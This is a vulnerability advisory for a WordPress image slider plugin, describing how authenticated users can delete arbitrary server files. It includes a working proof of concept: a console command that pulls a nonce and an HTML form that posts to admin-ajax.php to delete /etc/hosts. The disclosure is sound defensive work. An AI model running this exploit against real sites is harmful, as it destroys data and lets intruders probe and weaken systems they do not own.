Arbitrary file deletion vulnerability in Image Slider allows authenticated users to delete files

Score Vector Complexity Authentication Confidentiality Integrity Availability
5.5
Medium
Network Low Single Partial Partial None

You can read more about CVSS base scores on Wikipedia or in the CVSS specification.

Vulnerability

Any user able to create or edit “Sliders” (the same users who can create/edit posts, as far as I can tell) is able to delete arbitrary files that the web user has permission to write to. In addition, the attacker is told whether that operation succeeded or failed.

Depending on configuration this could lead to the attacker being able to:

  • Delete media uploads
  • Delete plugin files (this would be especially bad if there were security plugins limiting the attacker’s abilities)
  • Delete important system files (/etc/hosts, /usr/bin/php)
  • Attempt to delete unimportant files in order to discover more information about the system (i.e. attempting to delete /usr/share/doc/apt/changelog.gz would have little effect on the system if successful but it would tell the attacker that the host is running a Debian derivative)

Proof of concept

  1. First, make sure you have a file to delete. I’m going to use /etc/hosts as an example because it demonstrates that you’re not limited to files within the WordPress installation, but make sure whichever file you use can be deleted by the user account WordPress is running under
  2. Visit /wp-admin/post-new.php?post_type=easyimageslider
  3. Input the following JavaScript in the inspector’s console to get the nonce value: document.querySelector('[data-tnonce]').dataset['tnonce']
  4. Create a page containing the following code, replace NONCE with the nonce you got in the previous step, visit the page and click submit
<form action="http://localhost/wp-admin/admin-ajax.php" method="POST">
  <input type="text" name="action" value="ewic_timthumb_check">
  <input type="text" name="turl" value="/etc/hosts">
  <input type="text" name="security" value="NONCE">
  <input type="submit">
</form>

If WordPress is being run as root (or if the web user has permission to write to that file) then the page will display “1”, if not it won’t display anything.

Mitigation/further actions

Disable the plugin. No fixed version is known.